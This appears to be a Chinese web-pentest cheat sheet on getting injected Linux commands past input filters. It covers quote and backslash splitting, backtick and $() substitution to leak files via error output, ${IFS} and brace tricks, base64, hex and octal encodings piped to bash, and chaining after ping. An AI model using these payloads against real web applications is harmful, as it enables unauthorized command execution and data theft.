Linux命令执行绕过指的是,你在进行web测试,已经拿到了找到了执行linux命令的地方,但是有过滤,比如输入ls会被过滤掉,但是l\s可能就不会过滤(l\s和ls一样同样能被执行)
格式:l's'
(两个单引号达到闭合,里面放置内容)
例如:ca't' 1'.'txt
=cat 1.txt
格式:l"s"
(两个双引号达到闭合,里面放置内容)
例如:ca"t" 1"."txt
=cat 1.txt
格式:l\s
例如:ca\t 1\.txt
=cat 1.txt
解释:这个跟之前不太一样,反引号里面的内容会被执行(反引号外面内容也会被单独执行),而执行后查看的内容会以报错的方式展示出来,反引号为`
格式:
15`who`15
结果:15jack未找到命令
其中的jack就是who执行后获得的结果
例如:
999`cat 1.txt`999
结果:999ak47999: command not found
ak47就是1.txt里面的第一行内容
关键:
上面的内容可能只能查看第一项(第一行)
建议用下面这种(其利用了反引号外面内容也会被单独执行)
cat `999`1.txt
结果:
Command '999' not found, did you mean:
command 'c99' from deb gcc (4:9.3.0-1ubuntu2)
command 'c99' from deb clang (1:10.0-50~exp1)
Try: apt install <deb name>
ak47
dwadwa
dwadaw
daw
daw
da
wd
aw
// 这样就读到了所有的内容
解释:跟上面4.反引号完全一样,下面只举例一下$()
外面内容也会被单独执行的情况
ca$(12)t 1.$(555550)txt
结果
12: command not found
555550: command not found
ak47
dwadwa
dwadaw
daw
daw
da
wd
aw
格式:{cat,1.txt}
这样可以不用输入空格
示例:{cat,1.txt}
=cat 1.txt
解释:linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,大于号>是输出重定向,比如一条命令,默认是将结果输出到屏幕
格式:cat<>1.txt
如果不是查看文件,可能会把前面命令(此处cat
)写入到相应位置(此处1.txt)
示例:cat<>1.txt
=cat 1.txt
注意:有的情况下并不能使用,比如进入目录等
解释:${IFS}是分隔符的意思
格式:cat\${IFS}1.txt
示例:cat\${IFS}1.txt
=cat 1.txt
解释:看三
解释:通过base64编码以此来混淆服务器过滤的筛选词语
格式:echo bHM=|base64 -d|bash
解释:bHM=是ls的意思,echo bHM=
将值bHM=
传递给base64 -d
(其会将其进行base64解码),base64 -d
将解码后内容ls
传递给bash
运行
示例:echo Y2F0IDEudHh0|base64 -d|bash
=cat 1.txt
解释:所谓十六进制编码就是将字符串转换为ASCII然后将ASCII码对应的数字转换为十六进制,如a在ascii表为97,十六进制为61
示例:echo "2063617420312e747874"|xxd -r -p|bash
(2063617420312e747874为cat 1.txt)
示例:$(printf "\x20\x63\x61\x74\x20\x31\x2e\x74\x78\x74")
(\x20\x63\x61\x74\x20\x31\x2e\x74\x78\x74是cat 1.txt)
注意:很可能十六进制在目标服务器上解析不了,但可能能够解析八进制的内容
解释:xxd转属于16进制转换,在linux中八进制转换并没有类似的
示例:$(printf "\154\163")
(\154\163是ls)
注意:很可能八进制在目标服务器上解析不了,但可能能够解析十六进制的内容
ping 127.0.0.1;ls
ping 127.0.0.1&&ls
ping 127.0.0.1||ls